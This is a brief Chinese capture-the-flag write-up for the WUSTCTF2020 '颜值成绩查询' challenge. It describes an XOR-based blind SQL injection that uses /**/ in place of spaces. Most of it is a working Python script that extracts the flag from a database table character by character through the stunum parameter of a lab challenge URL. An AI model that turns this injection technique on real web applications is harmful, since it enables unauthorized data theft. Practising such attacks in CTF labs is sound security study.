[WUSTCTF2020]颜值成绩查询

前言

最近没时间练习，有点难过，水个wp再睡

思路

异或注入，/**/替代空格
另外，flag不在flag字段里。。。

附上垃圾脚本

import requests

flag = ''
for i in range(50):
    for j in range(30,128):
        #url = "http://5f9822d4-4260-4bcf-9693-445d1b1a1607.node3.buuoj.cn/?stunum=1^(ascii(substr((database()),{},1))={})^1".format(i,j)
        url = "http://5f9822d4-4260-4bcf-9693-445d1b1a1607.node3.buuoj.cn/?stunum=1^(ascii(substr((select/**/group_concat(value)/**/from/**/flag),{},1))={})^1".format(i,j)
        if "Hi admin, your score is: 100" in requests.get(url).text:
            flag += chr(j)
            print(flag)
            break
print('over')